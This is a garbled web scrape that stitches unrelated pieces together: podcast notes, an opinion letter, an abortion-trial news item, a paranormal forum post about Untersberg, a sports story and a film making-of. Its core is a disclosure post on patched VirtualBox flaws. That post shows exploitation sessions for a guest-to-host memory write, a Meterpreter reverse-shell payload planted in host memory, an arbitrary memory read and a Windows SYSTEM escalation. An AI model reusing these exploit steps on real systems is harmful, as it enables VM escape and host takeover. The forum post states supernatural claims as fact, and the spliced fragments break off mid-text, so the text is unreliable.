We also played the song "American Wild" from the Country/Pop Artist Katie Belle.
In Pitches Get Riches, we try and help Cara Jones raise money for the "Second Coming" Kickstarter which is a documentary about two siblings that must find their own paths outside a religion known for arranged marriages and mass weddings.
Find more about Paul PK Kim at:
- Laugh Factory Channel - http://www.laughfactory.com/PK
Find more about Katie Belle at:
- Website - https://www.reverbnation.com/KatieBelle - Twitter - https://twitter.com/katiebellega - Facebook - https://www.facebook.com/KatieBelleGA/ - Instagram - https://www.instagram.com/katiebellega/ - YouTube - https://www.youtube.com/user/katiebelleakin - SoundCloud - https://soundcloud.com/iamkatiebelle Find more about the "Second Coming" Kickstarter at: - Kickstarter - https://www.kickstarter.com/projects/179315333/second-coming-the-documentary - Storytellers For Good Website - http://www.storytellersforgood.com/ - Storytellers For Good Twitter - https://twitter.com/stories4good - Storytellers For Good Facebook - https://www.facebook.com/StorytellersforGood - Storytellers For Good YouTube - https://www.youtube.com/channel/UCrJud-wqGSZIfnlY3YOr_nQ
Cast Party Giveaway
Win 4 FREE tickets to Nick's Comedy Stop in Boston, MA on June 9th!
- Listen to Win - http://www.podcastof1000s.com/p/cast-party/
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Tell all your performer friends they should be on our podcast Here's how they get on our podcast: - Get On - http://www.podcastof1000s.com/p/get-on/ See what we're up toFull Disclosure mailing list archives
By Date By Thread Information on recently-fixed Oracle VM VirtualBox vulnerabilities From: Matthew Daley <mattd () bugfuzz com>
Date: Fri, 07 Feb 2014 15:27:39 +1300
Hi there, Recently I found a few vulnerabilities in Oracle VM VirtualBox, the open-source virtualization product. These have already been reported to the project, fixed and disclosed in the form of the recent January 2014 Oracle Critical Patch Update (at <http://www.oracle.com/technetwork/topics/security/cpujan2014-1972949.html>). The purpose of this mail is simply to provide a few more specifics about each vulnerability to allow distributors, packagers and other users of the software to better classify them (and, of course, for the sake of freely sharing information!) (Most of the rest of this message is a hacked-up version of the initial private disclosure to Oracle; please excuse any messed-up tenses or similar. Also, I've tried to clarify any VBox-specific terminology but it still might be lacking in places.) These vulnerabilities were tested on both 32-bit and 64-bit versions of VirtualBox, namely: 32-bit: 4.2.16_Debianr86992 ((what was) the current Debian jessie VirtualBox package) 64-bit: 4.2.51_OSEr47061 (compiled from SVN) The SVN trunk at the time was also inspected to ensure fixes hadn't been made since these versions. The exploitability of some of the vulnerabilities depends on the architectural width of the host; where this is the case it is explicitly mentioned. When an exploitation attempt is performed on a host not of the correct width the attempt usually leads to DOS instead. The first two vulnerabilities are in the VMMDev device's HGCM interface, the third is in the Windows Guest Additions' Shared Folder driver and the final two are in the handling of other VMMDev request types. * Vuln. #1: VMMDev HGCM argument size overflow (CVE-2013-5892) The first step in processing a HGCM (Host-Guest Communication Manager) call VMMDev request is to calculate the total size of the call's arguments. This is so the correct amount of space can be allocated for the arguments whose types (linear in/out addresses and page lists) need buffer space for transferring between guest and host memory. This calculation is performed using the "cbCmdSize" variable. The problem lies in the fact that this calculation can easily overflow and hence the check afterward to see whether the amount of space required is too large or not will mistakenly pass. This leads to a smaller-than-actually-required amount of memory being allocated for the host-side VBOXHGCMCMD structure. This structure holds host-side HGCM call information including information on each argument (type, pointer to host buffer space, size) and the buffers themselves. This is obviously an exploitable heap overflow, but we can do better. The aforementioned host-side buffer pointers which are then assigned to the arguments which need them can, via careful argument size choice, be lead to point to arbitrary host memory instead of within the third part of the VBOXHGCMCMD structure where they are supposed to point. Notably, one can craft the individual argument sizes so that the buffer pointer placement routine wraps around the address space and sets the buffers to point to the head of the VBOXHGCMCMD structure, allowing one to cleanly write to the other parts of the structure, including the other argument types and host-side buffer pointers. Using this, one can write to one of these host-side buffer pointers so that the resulting HGCM call output for that argument is sent elsewhere in the address space - a write-(almost-)what-where vulnerability of arbitrary length which is not affected by the heap/ASLR moving the HGCM structure around in memory (since the method of exploitation uses distances relative to the head of the HGCM structure itself). This can be exploited to allow host ring 3 code execution from guest ring 0 (assuming a guest IOPL of 0). A POC exploit in the form of a Linux kernel module which takes "addr" and "val" arguments to specify where and what to write into host ring 3 memory was created (and sent in the full report): mattd@debian:~$ /sbin/modinfo vmmdev_vuln_oflow.ko filename: /home/mattd/vmmdev_vuln_oflow.ko license: Dual BSD/GPL depends: vermagic: 3.2.0-4-486 mod_unload modversions 486 parm: addr:Host-ring3 address to write to (ulong) parm: val:Value to write (UTF-8 hex) (string) Here is an example exploitation session: - Start a VM $ VBoxManage startvm foo4 --type headless Waiting for VM "foo4" to power on... VM "foo4" has been successfully started. - Demonstrate that there is nothing written at this arbitrarily-chosen location in the host-side VBox process memory $ sudo dd if=/proc/`pidof VBoxHeadless`/mem bs=1 skip=$((0x804eff0)) count=16 2> /dev/null | hd 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 - Run the exploit in the guest VM, specifying what to write and where $ ssh -p2222 root@foo4 'insmod vmmdev_vuln_oflow.ko addr=0x804eff0 val=`echo -n "Hi from guest!" | hexdump -e "/1 "\""%x"\"`' - Demonstrate that the string was successfully written to the aforementioned host-side location $ sudo dd if=/proc/`pidof VBoxHeadless`/mem bs=1 skip=$((0x804eff0)) count=16 2> /dev/null | hd 00000000 48 69 20 66 72 6f 6d 20 67 75 65 73 74 21 00 00 |Hi from guest!..| 00000010 - Run the exploit in the guest VM again, this time to generate a SIGSEGV in the process $ ssh -p2222 root@foo4 'rmmod vmmdev_vuln_oflow.ko; insmod ~mattd/vmmdev_vuln_oflow.ko addr=0xdeadbeef val=4142434445' Connection to foo4 closed by remote host. - Demonstrate that the host-side VBox process did indeed die $ dmesg | tail -n1 [24916.950477] GuestPropSvc[12681]: segfault at deadbeef ip b758b55f sp b49091bc error 7 in libc-2.17.so[b750c000+1a9000] - Check out the generated core dump $ gdb /usr/lib/virtualbox/VBoxHeadless core GNU gdb (GDB) 7.6 (Debian 7.6-5) Copyright (C) 2013 Free Software Foundation, Inc. (...) Core was generated by `/usr/lib/virtualbox/VBoxHeadless --comment foo4 --startvm d8eac50d-f6d7-4b04-bf'. Program terminated with signal 11, Segmentation fault. #0 __memcpy_ia32 () at../sysdeps/i386/i686/multiarch/../memcpy.S:98 98../sysdeps/i386/i686/multiarch/../memcpy.S: No such file or directory. (gdb) bt #0 __memcpy_ia32 () at../sysdeps/i386/i686/multiarch/../memcpy.S:98 #1 0xb5f0c1c4 in guestProp::Service::getProperty (this=this@entry=0xb5101048, cParms=cParms@entry=4, paParms=paParms@entry=0xaa2635dc) at /build/virtualbox-rxXrih/virtualbox-4.2.16-dfsg/src/VBox/HostServices/GuestProperties/service.cpp:609 #2 0xb5f0e7ce in guestProp::Service::call (this=0xb5101048, callHandle=0xaa263a60, u32ClientID=7, eFunction=1, cParms=4, paParms=0xaa2635dc) at /build/virtualbox-rxXrih/virtualbox-4.2.16-dfsg/src/VBox/HostServices/GuestProperties/service.cpp:1260 #3 0xb6154e8e in hgcmServiceThread (ThreadHandle=2147483665, pvUser=0x8cb89c0) at /build/virtualbox-rxXrih/virtualbox-4.2.16-dfsg/src/VBox/Main/src-client/HGCM.cpp:603 #4 0xb6153783 in hgcmWorkerThreadFunc (ThreadSelf=0x8cb8bc0, pvUser=0x8cb8a38) at /build/virtualbox-rxXrih/virtualbox-4.2.16-dfsg/src/VBox/Main/src-client/HGCMThread.cpp:194 #5 0xb743a1fe in rtThreadMain (pThread=0x8cb8bc0, NativeThread=3029375808, pszThreadName=0x8cb914c "GuestPropSvc") at /build/virtualbox-rxXrih/virtualbox-4.2.16-dfsg/src/VBox/Runtime/common/misc/thread.cpp:712 #6 0xb748a429 in rtThreadNativeMain (pvArgs=0x8cb8bc0) at /build/virtualbox-rxXrih/virtualbox-4.2.16-dfsg/src/VBox/Runtime/r3/posix/thread-posix.cpp:321 #7 0xb76c7cf1 in start_thread (arg=0xb4909b40) at pthread_create.c:311 #8 0xb75fafee in clone () at../sysdeps/unix/sysv/linux/i386/clone.S:131 (gdb) x/2i $pc => 0xb758b55f <__memcpy_ia32+95>: movsw %ds:(%esi),%es:(%edi) 0xb758b561 <__memcpy_ia32+97>: rep movsl %ds:(%esi),%es:(%edi) (gdb) i r esi edi eax esi 0xb5102a74 -1257231756 edi 0xdeadbeef -559038737 eax 0x6 6 (gdb) x/6c $esi 0xb5102a74: 65 'A' 66 'B' 67 'C' 68 'D' 69 'E' 0 '\000' (gdb) fr 1 #1 0xb5f0c1c4 in guestProp::Service::getProperty (this=this@entry=0xb5101048, cParms=cParms@entry=4, paParms=paParms@entry=0xaa2635dc) at /build/virtualbox-rxXrih/virtualbox-4.2.16-dfsg/src/VBox/HostServices/GuestProperties/service.cpp:609 609 memcpy(pchBuf, pProp->mValue.c_str(), cbValue); (gdb) p pchBuf $1 = 0xdeadbeef <Address 0xdeadbeef out of bounds> (gdb) p pProp->mValue $2 = {static npos = <optimized out>, _M_dataplus = {<std::allocator<char>> = {<__gnu_cxx::new_allocator<char>> = {<No data fields>}, <No data fields>}, _M_p = 0xb5102a74 "ABCDE"}} One can use a separate utility script that provides a series of (addr, val) pairs to insert the module with repeatedly so as to write (almost) any arbitrary binary data. It does this by suggesting to write a series of individually UTF-8 valid strings at monotonically increasing addresses. This was tested with a Meterpreter payload to get a shell on the host: (on the VM:) - Show the Meterpreter almost-pure-ASCII payload foo4$ hd reverse-tcp-payload | head 00000000 54 59 da c4 d9 71 f4 5f 57 59 49 49 49 49 49 49 |TY...q._WYIIIIII| 00000010 49 49 49 49 43 43 43 43 43 43 37 51 5a 6a 41 58 |IIIICCCCCC7QZjAX| 00000020 50 30 41 30 41 6b 41 41 51 32 41 42 32 42 42 30 |P0A0AkAAQ2AB2BB0| 00000030 42 42 41 42 58 50 38 41 42 75 4a 49 50 31 49 4b |BBABXP8ABuJIP1IK| 00000040 6c 37 6a 43 52 73 52 63 70 53 53 5a 47 72 6e 50 |l7jCRsRcpSSZGrnP| 00000050 50 66 4d 59 78 61 48 4d 6b 30 6c 57 31 4b 51 78 |PfMYxaHMk0lW1KQx| 00000060 49 50 6e 48 46 61 46 30 52 48 66 62 73 30 77 61 |IPnHFaF0RHfbs0wa| 00000070 51 4c 4d 59 78 61 31 7a 73 56 63 68 56 30 63 61 |QLMYxa1zsVchV0ca| 00000080 36 37 4e 69 4b 51 63 73 48 4d 4d 50 4f 42 56 67 |67NiKQcsHMMPOBVg| 00000090 6f 49 55 50 74 50 77 70 53 30 6d 59 7a 43 6f 31 |oIUPtPwpS0mYzCo1| - Show the output of the aforementioned string -> (addr, val) script on the payload foo4$./bin2args.py $((0x8050830)) < reverse-tcp-payload | head -n5 addr=0x8050830 val=5459 addr=0x8050832 val=dabf addr=0x8050833 val=c4bf addr=0x8050834 val=d9bf addr=0x8050835 val=71 - Use the script to write the payload into host-side VBox process memory foo4$./bin2args.py $((0x8050830)) < reverse-tcp-payload | sudo xargs -n2 -I{} sh -c 'rmmod vmmdev_vuln_oflow; insmod vmmdev_vuln_oflow.ko {}' Error: Module vmmdev_vuln_oflow is not currently loaded - Write the payload's address to a function pointer in the process foo4$ sudo rmmod vmmdev_vuln_oflow; sudo insmod vmmdev_vuln_oflow.ko addr=0x0804e6f0 val=30080508 - Trigger the payload foo4$ sudo halt Broadcast message from root@debian (pts/0) (Tue Oct 22 01:20:40 2013): The system is going down for system halt NOW! (on the attacker's end:) - Start a Meterpreter session and wait for connection $ msfcli exploit/multi/handler PAYLOAD=linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.80 E [*] Please wait while we load the module tree... (...) =[ metasploit v4.7.0-1 [core:4.7 api:1.0] + -- --=[ 1141 exploits - 720 auxiliary - 194 post + -- --=[ 309 payloads - 30 encoders - 8 nops PAYLOAD => linux/x86/meterpreter/reverse_tcp LHOST => 192.168.1.80 [*] Started reverse handler on 192.168.1.80:4444 [*] Starting the payload handler... [*] Transmitting intermediate stager for over-sized stage...(100 bytes) [*] Sending stage (1126400 bytes) to 192.168.1.80 [*] Meterpreter session 1 opened (192.168.1.80:4444 -> 192.168.1.80:49648) at 2013-10-22 01:20:53 +1300 meterpreter > shell Process 16070 created. Channel 1 created. /bin/sh: 0: can't access tty; job control turned off $ ps f --sid `ps -o sid $$ | tail -n+2` PID TTY STAT TIME COMMAND 15959? Sl 1:37 /usr/lib/virtualbox/VBoxHeadless --comment foo4 --sta 16070? S 0:00 \_ /bin/sh 16082? R 0:00 \_ ps f --sid 15935 Specifically, the POC uses the Shared Properties service to get attacker-controlled data to be written out as an HGCM result. It also uses this service specifically because it can handle the necessary four arguments for the exploit to function (name + skip + overflow + skip). Null page lists are used to skip address space, allowing one to write the attacker-chosen memory location to the second HGCM output argument (property value output) host buffer pointer. On 32-bit hosts, this works fine. On 64-bit ones, because the HGCM size is calculated using a 32-bit variable ("cbCmdSize"), one cannot wrap the 64-bit address space entirely, however one can still overflow up to 4GB after the VBOXHGCMCMD structure for a traditional heap-based attack. * Vuln. #2: VMMDev HGCM argument type confusion (CVE-2014-0407) Processing a HGCM call is a three step-process: reading the arguments from the guest, invoking the HGCM connector to make the call, and writing the result back out to the guest. Between these steps, when using the default HGCM connector, the guest may run for a limited amount of time (the result code returned at step 2 is VINF_HGCM_ASYNC_EXECUTE). This issue lies in the fact that the argument types are re-read from guest-controlled memory at step 3, when the result is being written out. By racing to change the type of an argument between steps 1 and 3, incorrect processing can occur. This includes things such as treating what was initially a guest-provided integer argument as the location of an argument buffer to read a result from, if the new type would normally have one. This can be exploited to read cleanly from anywhere in host ring 3 address space - an ASLR-proof information leak of arbitrary length, complementing the first vulnerability. This leads to a host ring 3 information leak to guest ring 0. A POC exploit in the form of a Linux kernel module which takes an "addr" argument to specify where to read from host ring 3 memory, outputting the result to the kernel ring buffer (ie. viewable with `dmesg`) was created (and sent in the full report): mattd@debian:~$ /sbin/modinfo vmmdev_vuln_typeconf.ko filename: /home/mattd/vmmdev_vuln_typeconf.ko license: Dual BSD/GPL depends: vermagic: 3.2.0-4-486 mod_unload modversions 486 parm: addr:Host-ring3 address to read from (ulong) Here is an example exploitation session: - Observe the address space of the host-side VBox process to find where the ELF itself was loaded $ sudo head /proc/`pidof VBoxHeadless`/maps 08048000-0804e000 r-xp 00000000 68:01 4083239 /usr/lib/virtualbox/VBoxHeadless 0804e000-0804f000 rw-p 00005000 68:01 4083239 /usr/lib/virtualbox/VBoxHeadless 0804f000-08051000 rw-p 00000000 00:00 0 08255000-082df000 rw-p 00000000 00:00 0 [heap] a8d00000-a8f00000 rw-s 00000000 00:04 989 /dev/zero (deleted) a8f00000-a9100000 rw-s 00000000 00:04 988 /dev/zero (deleted) a9100000-a9300000 rw-s 00000000 00:04 7084 /dev/zero (deleted) a9300000-a9500000 rw-s 00000000 00:04 981 /dev/zero (deleted) a9500000-a9700000 rw-s 00000000 00:04 980 /dev/zero (deleted) a9700000-a9900000 rw-s 00000000 00:04 7081 /dev/zero (deleted) - Check out the contents at the aforementioned load address $ sudo dd if=/proc/`pidof VBoxHeadless`/mem bs=1 skip=$((0x08048000)) count=256 2> /dev/null | hd 00000000 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 |.ELF............| 00000010 02 00 03 00 01 00 00 00 b4 8c 04 08 34 00 00 00 |............4...| 00000020 c8 59 00 00 00 00 00 00 34 00 20 00 08 00 28 00 |.Y......4....(.| 00000030 1c 00 1b 00 06 00 00 00 34 00 00 00 34 80 04 08 |........4...4...| 00000040 34 80 04 08 00 01 00 00 00 01 00 00 05 00 00 00 |4...............| 00000050 04 00 00 00 03 00 00 00 34 01 00 00 34 81 04 08 |........4...4...| 00000060 34 81 04 08 13 00 00 00 13 00 00 00 04 00 00 00 |4...............| 00000070 01 00 00 00 01 00 00 00 00 00 00 00 00 80 04 08 |................| 00000080 00 80 04 08 ec 56 00 00 ec 56 00 00 05 00 00 00 |.....V...V......| 00000090 00 10 00 00 01 00 00 00 ec 56 00 00 ec e6 04 08 |.........V......| 000000a0 ec e6 04 08 cc 01 00 00 6c 24 00 00 06 00 00 00 |........l$......| 000000b0 00 10 00 00 02 00 00 00 f8 56 00 00 f8 e6 04 08 |.........V......| 000000c0 f8 e6 04 08 f8 00 00 00 f8 00 00 00 06 00 00 00 |................| 000000d0 04 00 00 00 04 00 00 00 48 01 00 00 48 81 04 08 |........H...H...| 000000e0 48 81 04 08 44 00 00 00 44 00 00 00 04 00 00 00 |H...D...D.......| 000000f0 04 00 00 00 50 e5 74 64 8c 4d 00 00 8c cd 04 08 |....P.td.M......| 00000100 - Run the exploit on the guest VM, specifying the host-side address to read from $ ssh -p2222 root@foo4 insmod vmmdev_vuln_typeconf.ko addr=$((0x08048000)) - Observe the output in the guest VM's dmesg and see that it is as expected $ ssh -p2222 foo4 'dmesg | grep -A15 "vmmdev_vuln_typeconf: 00000000"' [ 477.168335] vmmdev_vuln_typeconf: 00000000: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00.ELF............ [ 477.168393] vmmdev_vuln_typeconf: 00000010: 02 00 03 00 01 00 00 00 b4 8c 04 08 34 00 00 00............4... [ 477.168443] vmmdev_vuln_typeconf: 00000020: c8 59 00 00 00 00 00 00 34 00 20 00 08 00 28 00.Y......4....(. [ 477.168470] vmmdev_vuln_typeconf: 00000030: 1c 00 1b 00 06 00 00 00 34 00 00 00 34 80 04 08........4...4... [ 477.168497] vmmdev_vuln_typeconf: 00000040: 34 80 04 08 00 01 00 00 00 01 00 00 05 00 00 00 4............... [ 477.168525] vmmdev_vuln_typeconf: 00000050: 04 00 00 00 03 00 00 00 34 01 00 00 34 81 04 08........4...4... [ 477.168552] vmmdev_vuln_typeconf: 00000060: 34 81 04 08 13 00 00 00 13 00 00 00 04 00 00 00 4............... [ 477.168579] vmmdev_vuln_typeconf: 00000070: 01 00 00 00 01 00 00 00 00 00 00 00 00 80 04 08................ [ 477.168606] vmmdev_vuln_typeconf: 00000080: 00 80 04 08 ec 56 00 00 ec 56 00 00 05 00 00 00.....V...V...... [ 477.168633] vmmdev_vuln_typeconf: 00000090: 00 10 00 00 01 00 00 00 ec 56 00 00 ec e6 04 08.........V...... [ 477.168675] vmmdev_vuln_typeconf: 000000a0: ec e6 04 08 cc 01 00 00 6c 24 00 00 06 00 00 00........l$...... [ 477.168702] vmmdev_vuln_typeconf: 000000b0: 00 10 00 00 02 00 00 00 f8 56 00 00 f8 e6 04 08.........V...... [ 477.168729] vmmdev_vuln_typeconf: 000000c0: f8 e6 04 08 f8 00 00 00 f8 00 00 00 06 00 00 00................ [ 477.168756] vmmdev_vuln_typeconf: 000000d0: 04 00 00 00 04 00 00 00 48 01 00 00 48 81 04 08........H...H... [ 477.168784] vmmdev_vuln_typeconf: 000000e0: 48 81 04 08 44 00 00 00 44 00 00 00 04 00 00 00 H...D...D....... [ 477.168811] vmmdev_vuln_typeconf: 000000f0: 04 00 00 00 50 e5 74 64 8c 4d 00 00 8c cd 04 08....P.td.M...... This works fine on a 32-bit host. On 64-bit hosts, one cannot use the 'int-as-address' technique because of differing resizing + alignment issues in VBOXHGCMSVCPARM's union used to hold the argument information host-side (at least on GCC); other methods might be possible instead. * Vuln. #3: Windows Shared Folder Redirector IOCTL_MRX_VBOX_DELCONN missing validation (CVE-2014-0405) When handling an IOCTL_MRX_VBOX_DELCONN request, the Windows Shared Folder Redirector attempts to retrieve the associated RDBSS file object extension (FOBX) from the user-provided file's FsContext2 field. It does not check, however, that one actually exists (is non-null), and hence the driver can be led to execute upon a user-provided FOBX by placing a crafted one in the null memory page. This execution involves calling a FOBX-provided callback, which can point to a user-provided routine. This IOCTL is defined as FILE_ANY_ACCESS and so can be called by any Windows user, regardless of access rights. This leads to a guest ring 3 to guest ring 0 privilege escalation (and nicely complements the guest ring 0 to host ring 3 vulnerability, #1 / CVE-2013-5892!) A POC exploit in the form of a Windows application that executes a given command line (or cmd.exe as a default) as the SYSTEM user regardless of what user it is run as initially was created (and sent in the full report): Here is a sample exploitation session (in the guest VM): - Check the current user's username and assigned groups E:\>whoami /user /groups [User] = "LOLTECH-GPG0BTT\limited" [Group 1] = "LOLTECH-GPG0BTT\None" [Group 2] = "Everyone" [Group 3] = "BUILTIN\Users" [Group 4] = "LOCAL" [Group 5] = "NT AUTHORITY\INTERACTIVE" [Group 6] = "NT AUTHORITY\Authenticated Users" - Demonstrate the access level by showing that we cannot create a file in a restricted directory E:\>echo > c:\windows\test.txt Access is denied. - Run the exploit E:\>vboxrdr_vuln_devcontrol.exe (... a new command prompt opens...) - Check the new current user's username and assigned groups C:\WINDOWS>whoami /user /groups [User] = "NT AUTHORITY\SYSTEM" [Group 1] = "BUILTIN\Administrators" [Group 2] = "Everyone" [Group 3] = "NT AUTHORITY\Authenticated Users" - Demonstrate the new access level by showing that we can now create the aforementioned file C:\WINDOWS>echo > c:\windows\test.txt C:\WINDOWS> On 32-bit guests this works fine, and on 64-bit ones it should also work, with the necessary changes to the crafted FOBX structure |
become too much for you to ignore. Until then, I remain very sincerely yours, Rod Van Mechelen. Does that seem too mild? Maybe I should have added a little spice and spittle with some f-bombs and other angry words. But while angry words are sometimes appropriate for marches and demonstrations, I look to a man who inspired me as a youth for an example: Martin Luther King, Jr.. Rev. King was a man who spoke with courage, conviction and great passion, but always with dignity and never with a sneer, a snub or a denigrating word. He was a man who did not talk down to his enemies, but invited them to rise up and join him. It wasn't that he minced words or sugar coated his meaning. Evil is as evil does. No point in dressing up ugly with pretty words. But criticism can be civil. While all of my friends and associates in the Liberty Movement and the Movement for Real Gender Equality (MERGE) should aspire to make the SPLC hate list, too many of them, it seems to me, try to fulfill the stereotypes assigned to us by behaving with antagonism toward members of the press. There is a difference between speaking with antagonism and speaking with authority. For several years I sat on council with an elder who offered few words, but when she spoke we listened because her words were wise, and that wisdom gave her great authority. I also served with a young woman of many words, who speaks often and with antagonism. While many fear to become the target of her acid tongue, few respect her opinions. Antagonism may instill fear, but authentic authority is built upon a foundation of respect, knowledge, confidence and achievement. Giving interviews is not easy. Making appearances on radio and TV can be hard work. Your opponents are looking for any slip they can turn into an unforgiveable crime. You have to be "always on" and fully prepared to answer every challenge. Everybody flubs. Especially at first. Give enough interviews, and even seasoned professionals mess it up. It's been many years since I did my last radio and televison appearances and gave my last newspaper interview, and during all of them I tried to remember the example of Rev. King. Another great man to emulate is Dr. Warren Farrell, who seems to personify compassion. Our messages may be hard to hear, the truth we tell difficult to accept, but when speaking as one human being to another, what has always worked best for me is to respect their humanity. Time enough for tough talk and biting words when addressing the principles, programs and prejudices of those who would denigrate and enslave us without addressing them directly with words that mirror their hate and make true their accusations against us. Regards Rod Van Mechelen Rod Van Mechelen is the author of What Everyone Should Know about Feminist Issues: The Male-Positive Perspective (the page now includes several articles by other authors), and the publisher of The Backlash! @ Backlash.com. He is a member of the Cowlitz Indian Tribe and served for 9-1/2 years on the Cowlitz Indian Tribal Council.Texas attorneys cited a former abortion doctor’s description of second-trimester abortions as “brutal” and sickening procedures during an abortions restrictions case which returned to court Monday.
In remarks separate from the current case, Dr. Anthony Levatino gave vivid descriptions of second-trimester abortions, which he had performed for years before stopping when he realized that the “pile of body parts” he collected was someone’s child, according to Express News. It’s a “brutal procedure in which a living human being is torn to pieces,” Levatino said.
Levatino performed hundreds of dismemberment abortions between 1980 and 1985, but when one abortion in particular sickened him, he decided to stop. “That’s what started a cascade, which over the next few months, ended in not doing any more abortions,” Levatino said. He has not performed abortions for more than 30 years and is a vocal pro-life advocate.
Levatino’s testimony is expected to carry serious weight in the case regarding Senate Bill 8, banning second-trimester abortion procedures, which U.S. District Judge Lee Yeakel has repeatedly blocked. “Dismemberment abortions are a gruesome and inhumane method of ending human life. Senate Bill 8 protects the dignity and sanctity of life, along with the integrity of the medical profession,” Texas Attorney General Paxton said in August after the ban went to court.
Yeakel, however, said that the plaintiffs will “suffer irreparable harm by being unable to access the most commonly used and safest pre-viability second trimester abortion procedure ahead of any substantial constitutional review of the act” in his ruling, defending his decision to put an temporary ban on abortion restrictions. (RELATED: Texas Judge Blocks Abortion Restrictions From Taking Effect).
Included in the case testimony were statements from Dr. David Berry, a maternal-fetal specialist who described the manner in which unborn babies are injected with potassium chloride to kill them before they are aborted. However, many Planned Parenthood clinics don’t use this procedure, killing the fetus by tearing its limbs apart rather than ending its life prior to the dismemberment procedure.
The trial is expected to continue until Wednesday, and Yeakel will issue a final ruling by the end of November.
Follow Grace on Twitter.
Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact [email protected]. Hitlers Obsession
2. Missing People
edit on 4/4/2011 by AshleyD because: (no reason given)
In August 1987 three people entered a Mountain in Southern Germany to explore several caves. They did not return and neither the police nor mountaineers found any trace of them – except for their car parked at a parking place nearby. 3 months later they called their relatives from a ship in the red sea that was heading for Alexandria, Egypt. They claimed to have no knowledge how they had gotten there, that 3 months had passed or what had happened inside that mountain. In Alexandria they went to the Consulate and returned home. (More on this story page 12 of this thread).Welcome to a tale of Time Portals, Elves, Fairies, Gnomes, Extraterrestrials, Subterranean Civilizations, The Holy Grail and Paranormal Phenomena surrounding a Mountain bordering Germany and Austria called "Untersberg".Ive personally visited this mountain twice on research expeditions and will relay my own experiences in later posts.On a 1992 visit to Austria, the Dalai Lama specifically asked to see the Mountain, calling it “a sleeping Dragon” and “The Heartchakra of the World” (chakra refers to an energy center in eastern terminology).But this was not the first world-famous person to know of the mountain. Hitler was obsessed with it, hoping to gain access to supernatural beings and power to turn a war that he was loosing.Hitler built a House on top of a mountain on the border to Austria (called "Berghof") from which he could view the Untersberg (direct translation: Under-Mountain) all day. He believed the mountain and that which was inside the mountain to harbour mystical powers that would help him beat his enemies. Hitlers view from his living room:So that he could pursue his obsession more intensely, he acquired telescopes, not made for the purpose of star-gazing but especially equipped for earth-gazing. This is Hitler beside one of the telescopes pointing at the Untersberg:One reason he became intrigued by the mountain is because of reoccuring events, legends and tales of people gone missing, people experiencing missing time, encounters with elves and extraterrestrials and passageways to what Hitler called “the inner earth”.A recent expedition (August 2008) into the gigantic cave-system under the mountain revealed that it goes down so far, that its lowest point had not been reached yet. The cave explorers had to return from their expedition without knowing how far down it goes. According to a german newspaper report they had gone down 1056 meters before being forced to return at an abyss-like precipce. This had been accomplished by being able to pass an extremely narrow passageway that had been previously unpassable. They also discovered more than 800 new passageways and, believe it or not, a lake in 930 meters depth. They crossed it with a rubber boat. One view from the inside:Similar to the Bermuda Triangle, hundreds of people have gone missing in the area, eithera) Never to be seen again orb) Show up years later or in another place on earth, apparently having made a jump in time, space or both.Missing People have been so frequent that German and Austrian newspapers regularly carry stories on the Mystery. This one shows a police helicopter in search of a couple that recently (2008) went missing (and also addressing the time-leap theory):Ancient Legends report of "little people" coming out of the mountain and "little people" flying aircraft from the mountain up into the sky. There are also many hundreds of ancient legends surrounding this mountain that involve the phenomenon of "missing time", as known in modern UFO-Abduction Reports.[edit on 26-8-2008 by Skyfloating]Every athlete has to let go of his or her career at some point in life, whether due to eroding talent, old age or injury. Collegiate track athlete Cameron Lyle is bringing his career to an end for a much greater purpose—to extend the life of a man suffering from leukemia.
The Eagle-Tribune reports the University of New Hampshire star shot putter will call it quits for the rest of his senior season, missing his team's last meets so he can donate his bone marrow to someone he's never met:
Lyle will be donating his bone marrow to an anonymous recipient on April 24. As a result, he will have to miss the final two meets of his career, including the America East Championships, where he was hoping to throw shot put.
According to the report, Lyle decided to have his mouth swabbed and his name placed in a bone marrow database back when he was a sophomore. Remarkably, he would later find out he was a perfect match for a "28-year-old male who is suffering from acute lymphoblastic leukemia":
They told me it was a one in 5 million chance of me being a match for a non-family member. They gave me the timeline and everything’s been moving quickly after that.... He has six months to live and I have the possibility to buy him a couple more years.
Lyle would love, as any athlete would, to extend his playing days. It's rare that someone who has competed for much of his life walks away completely fulfilled.
However, these extraordinary circumstances make this finale easy to embrace. Lyle even mentioned that he never really gave it a second thought, saying, "I knew right away I was definitely going to donate."
After the procedure, Lyle will be unable to lift 20 pounds over his head, which makes his specific athletic demands—discus, hammer and shot put—far too strenuous.
Those around the young man are understandably taken with the kind gesture, if saddened by the abrupt end to his career.
His mother, Christine Sciacca, is very proud of her son, saying, "He’s my hero. I couldn’t be more proud of him and how he’s been so humble about it." However, she added, "It’s been painful. I don’t know of many 21-year-olds who would give up their last year of track to help another human."
Lyle's coach, Jim Boulanger, was on board from the start despite the apprehension of the athlete telling his mentor. Boulanger offered, "I told him, you either do 12 throws at the conference championships, or you give another man a few more years. It was easy for me."
As for those few precious years, Lyle stated that he would love to meet the man he will donate bone marrow to. Per the report, law mandates the two remain strangers for at least a year after the donation.
While others want to applaud this amazing act, Lyle continues to place the attention on the man whose life he is extending. "I’d love to meet him someday," Lyle said. "He’s not that much older than myself. I just can’t imagine what he’s going through."
Lyle is a fantastic athlete, but he is clearly an even better man.
Hit me up on Twitter for more sensational sports stories: Follow @gabezalAfter sharing our short film and receiving the huge positive response from everyone we are pleased to now share some of the work that went on to bring BB-8 to life in this BB8 in London Making of post. First off though we want to thank reddit, especially subscribers of r/London for helping spread the word and get the ball rolling. It was most likely off the back of that support that Timeout and Mashable picked up the video and we even made the print edition of Timeout London! So read ahead to find out a little bit of how we did it.
Pre-production
Every film, long or short, starts with an idea and getting that down in writing is essential to begin making decisions on the overall direction, pace and themes of the video. So although this in house short film may last under 2 minutes, it was treated with the same process and attention of any of our studio projects.
Hot on the heels of the screenplay is of course the storyboard. This was given a light treatment as we knew when shooting “guerilla style” there needed to be room for improvisation, so after a day of location scouting we sketched out a series of “thumbnails” to begin to think about composition and camera moves.
Production
As this is a 3D animation heavy short with 21 of the 28 shots requiring BB-8 to be added digitally we had to be very concious of how we would integrate the droid when shooting. This meant making camera moves imagining BB8s height, action and timing while essentially shooting an empty scene. Emma Wilson, who was the key frame animator on this project, was on location for the entire days shoot to review the envisioned animation pace on a shot by shot basis.
